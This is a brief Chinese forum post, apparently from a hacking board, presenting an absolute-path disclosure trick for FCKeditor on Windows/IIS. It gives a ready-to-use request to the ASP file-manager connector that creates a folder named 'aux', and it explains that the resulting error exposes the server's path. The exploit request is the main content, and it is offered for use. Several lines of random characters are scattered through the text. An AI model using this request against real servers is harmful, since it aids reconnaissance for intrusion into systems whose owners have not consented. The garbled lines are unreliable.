最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
: b5 c8 j: j' b" Y
6 }+ G" z! `+ L1 P7 M9 ]( M/ x
8 b1 I( `7 ~' f版本未测试。。。
% v3 E5 T* n& q0 s
原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。

4 V' h. D/ {. f/ j# ?7 C
1 k; S" W/ }7 p, w0 a听说IIS都可以。。
: x$ [, t; T2 m( l) q3 H